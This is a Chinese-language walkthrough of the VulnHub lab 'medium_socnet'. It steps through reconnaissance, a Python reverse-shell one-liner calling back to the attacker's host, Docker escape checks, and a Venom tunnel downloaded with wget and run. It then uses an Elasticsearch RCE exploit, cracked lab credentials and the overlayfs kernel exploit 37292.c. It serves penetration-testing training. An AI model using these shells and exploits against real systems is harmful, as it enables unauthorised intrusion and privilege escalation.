【VulnHub靶场】medium_socnet

发布时间:2024年01月17日

难度

靶机下载的地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

知识涉及范围:

主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用
密码破解
本地提权
攻击代码修改

涉及工具

kali:
arp-scan
nmap
proxychains
venom?
python
......

1.主机发现

此时我的kali和靶机在同一个网段之下,所以我直接使用了arp-scan进行主机的发现

arp-scan -l

192.168.196.1    192.168.196.2    192.168.196.254

都是我本地主机以及其他ip,所以现在就是只能是 192.168.196.149是目标靶机

2.信息收集

2.1端口扫描

扫描端口依旧是老牌应用nmap,对目标开放端口进行扫描,基本命令

nmap -p- 192.168.196.149 

结果如下:

注意细节:

我多加了个-,区别在于命令 nmap -p- 192.168.196.149?将扫描目标主机上的所有端口,命令 nmap -p 192.168.196.149?将只扫描默认的端口范围。

2.2端口开放结果:

开放了22和5000两个端口

PORT?????STATE SERVICE
22/tcp???open ?ssh
5000/tcp?open ?upnp
MAC?Address: 00:0C:29:51:6A:38 (VMware)

?

2.3服务版本发现

命令:

nmap -p22,5000 -sV 192.168.196.149

?

发现了22端口是ssh服务,并且是Ubuntu的系统,

5000端口是http服务,这是一个基于python语言开发的底层框架,并且是python2.7版本

2.4页面测试

访问5000端口查看是否有薄弱的攻击点,发现了一个页面,只有一个输入的表单页面

第一反应对输入框进行测试,先进行正常输入看看反应,然后进行其他测试

正常输入:

xss测试

sql注入:?

都没什么反应

就是一个简单的web应用

3.路径爬取

我们这里使用的dirsearch

dirsearch  -u http://192.168.196.149:5000/ 

?

扫描结果发现存在admin的路径,访问查看

?

3.代码注入

然后发现可以执行代码的地方,这时候我们使用python语言进行反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.130",6888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在kali中进行监听:

nc -nvlp 6888 

?

反弹shell回来?

成功反弹shell

查看当前用户?

成功拿到root权限

查看ls文件

拿到shell

这样就结束了,有了最高权限............

?

?

这么简单,不是,哥们,你真信了?

3.1docker判断

注意细节啊

你进的是人家docker,进的都是虚拟环境,没什么卵用的,接下来进行去判断,你是否在docker容器之中

看看一些文件

这就是docker的简单部署环境的方法,以及配置文件,基本怀疑

二次确定

根目录下出现了 .dockerenv基本确定就是在docker内

?

再次决定

查看文件

cat?/proc/1/cgroup

文件内出现一些文件

?

1进程代表着初始化进程的ID,初始化进行cgroup包括了docker映像的指示信息,并且哈希值都看到了

肯定是docker容器了,我们要突破隔离docker隔离,去找到宿主机,并且拿下

4.Shell脚本

前边我们已经拿下了容器,我们现在去看看docker容器的ip

执行命令查看当前ip

ip a

?

发现ip为 172.17.0.3

和我们访问的ip地址不一样

更加证实了我们的猜想,是正确的就是在docker之中

接下来我们去对内网进行主机的探测

当然是使用ping啦,一个一个去ping试试?

你真试试啊,这是/16啊,存在65535个ip,你真一个个去ping啊

?然后就需要去写一个简单的shell脚本了

for i in $(set 1 10); do ping -c 1 172.17.0.$i;done

?注:此处应该是对1-65535全ip进行扫描,因为时间太长我就对ip进行了限制,真实环境下为防止漏掉,应该写成:

for i in {1..255};do for j in {1..255};do ping 172.17.$i. $j;done;done;

?然后结果如图

172.17.0.1和

172.17.0.2进行了回包

emmmm,其实这时候可以进行fscan进行一把梭,我们这里就按部就班的来了

5.内网穿透

探测的话,因为是在内网,所以我们就是无法访问,需要搭建隧道去进行访问

我这里使用的是venom ,文件方便下载可以改一个名字

在kali上运行并且监听本地1026端口?

?服务端没有?启动python的http服务去下载运行

python -m http.server 80

访问测试

?

下载在目标靶机上 使用wget命令去下载

wget http://192.168.196.130/xichen   #下载目标靶机
ls  #查看当前目录,查看是否下载成功
chmod +x xichen  #赋予他可执行的权限
./xichen  #执行

?根据帮助文档,我们需要做的就是执行以下命令

./xichen -rhost 192.168.196.130 -rport 1026

?

执行成功?

查看攻击端是否接受到客户端发来的链接?

?

图上已经成功收到

在服务器端使用show命令查看,并且goto到这个节点

?

?

并且我们在这个节点启动socks 侦听端口1080

这样我们就在kali上启动了socks代理,并且侦听端口为1080,这样方便我们去访问目标系统的内网

5.1linux的代理工具

我们此时就可以挂代理去使用了,我们使用的是proxychains代理工具

使用命令:

vim  /etc/proxychains4.conf

?

然后划到最下边,去添加一行(我的建议是进行注释添加,而不是对以上进行删除,这样方便以后得恢复甚至记录的使用)

socks5?127.0.0.1 1080

因为我们前边建立的就是socks的隧道并且是1080端口,所以这里是对应的

?

?

5.2内网扫描

我们现在就可以对目标靶机进行内网扫描了

前边已知我们发现的内网的ip是172.16.0.1 和 172.16.0.2

我们对其进行端口扫描

proxychains?nmap -Pn?-sT?172.16.0.1 ?#使用nmap和proxychains搭配进行使用

发现其中开放了 22和5000端口,这不是我们之前看到的网页的端口吗

?

我们去对服务版本的探测,这不就一样吗

?

为了验证,我们去访问,试试

挂上socks服务代理(此处我的是因为断了,重新搭建的,刚刚使用的都是1080,后边改回去)

?

?

访问测试

?

?

这不就是刚刚那个吗

说明172.17.0.1就是刚刚192.168.196.149那个ip的,只不过172.17.0.1是面对容器的开放ip,基本判断就是我们的目标的主机了

接下来对172.16.0.2进行端口扫描

?

proxychains nmap -Pn -sT 172.16.0.2  #使用nmap和proxychains搭配进行使用

?

开放了9200这个端口?#这个是ElasticSearch的端口

我们去验证,使用以下命令对端口进行应用服务扫描

?

proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2

发现就是是ElasticSearch的服务并且是1.4.2版本

6漏洞利用

我们看看是否能拿下这台主机,我们将使用searchsploit漏洞查找工具去进行查找?

使用命令

?

searchsploit Elasticsearch 

?

发现存在较多的rce漏洞,我们此处使用第一个

使用以下命令下载到当前目录

 searchsploit -m linux/remote/36337.py

然后我们查看一下发现是使用的python2版本

?

所以我们去运行python2的版本去运行?

?运行命令是:

proxychains python2 36337.py  http://172.17.0.2:9200/

此时获取到了root权限

?但是此时还是容器的root权限,我们看看都有什么内容

passwords这个就很敏感,我们看看里边都有什么内容

cat passwords

7.密码破解

这是个存放账号密码的地方,我们需要去破解

破解出来是

john:1337hack

test:1234test

admin:1111pass

root:1234pass

jane:1234jane

这里推荐几个网址:

https://www.cmd5.com/
http://pmd5.com/
http://www.xmd5.org/
http://md5.gromweb.com/
https://md5.gromweb.com/

然后去ssh试着链接我们访问的192.168.196.139 使用john用户(都试试,但是我试过的能连接的就这个了)

?进入了目标系统

8.本地提权

首先使用

sudo su #suid提权

发现只是普通用户,没有什么权限

我们想拿到root权限,怎么提权呢

最经典的就是内核和suid

suid不行直接试试内核,使用以下命令去进行版本内核查询

uname -a

发现内核版本是3.13.0-24-generic这个就是很旧的版本了,现在都在6吧我记得.

9.攻击代码修改

依旧是漏洞查询

searchsploit linux 3.13

我们这里使用这个exp去试试

我们下载到本地:

searchsploit -m  linux/local/37292.c

接下来我们查看代码,发现是C语言编写

我们在linux运行需要对C语言进行编译,但是我们的目标的主机上没有安装gcc

我们现在就换个思路

但是我们可以在kali上编译好再传输过去,但是查看C语言代码中还有一个编译的语句,即使我在kali上编译好了,他还是无法正常运行,他还要在编译一个文件,如下图

所以我们要在kali上都做好一起送去使用,并且我们在这个代码上进行修改,这样靶机就不需要去做多余的事情,直接就可以拿去用了

开干!!!

注意这一些代码需要删除

vim 37292.c    

我在kali上进行编译gcc文件编译

gcc -o exp313 37292.c 

然后查看

我们再去找那个库文件(名字叫做ofs-lib.so)

使用命令查找

?

 locate ofs-lib.so

?

复制到当前目录下:

cp??/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

然后查看

?

我们需要进行一并传输过去 一个叫做exp313 一个是ofs-lib.so

依旧是老旧演员python去进行开启http服务和wget兄弟的演出

10.攻击执行

kali:

python -m http.server 80

靶机:

wget http://192.168.196.130/exp313
wget http://192.168.196.130/ofs-lib.so

?

检查下载是否成功

?

?

已经下载成功

为了成功执行我们需要移动到tmp目录下

mv * /tmp/
cd /tmp/
ls  #查看是否移动成功

?赋予exp执行权限

chmod +x exp313
./exp313

11.版本问题

但是我这里出现了一些小插曲,大家也可能遇到

?

开始我怀疑自己的代码有问题,没毛病啊

但是后来发现我的kali机是最新版本,但是这个靶机版本很低

?

ldd --version
#ldd --version命令用于显示ldd工具的版本信息。ldd是一个用于查看可执行文件或共享库所依赖的动态链接库的工具。它会分析目标文件并列出其中使用的共享库及其对应的版本信息。

#通过运行ldd --version,您可以获取安装在系统上的ldd工具的版本信息。这可以帮助您了解正在使用的ldd版本,并在需要时与其他人进行版本比较或确认。

kali?

没办法去官网下载吧

靶机适用的版本 在

http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6?一定要在,编译 C 时使用 gcc 参数 -Ldir?指定上面的 libc.so.6 的路径,解决的编译命令:?

?

 gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

我去,这坎坷之路

再试一次

编译

gcc -o expnew 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

?

kali:传输过去

python -m http.server 80

靶机下载:

wget http://192.168.196.130/expnew

赋予执行权限

chmod +x expnew 

./expnew   #建议把文件都放在/tmp目录下

提权成功

文章来源:https://blog.csdn.net/qq_41893065/article/details/135634794
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。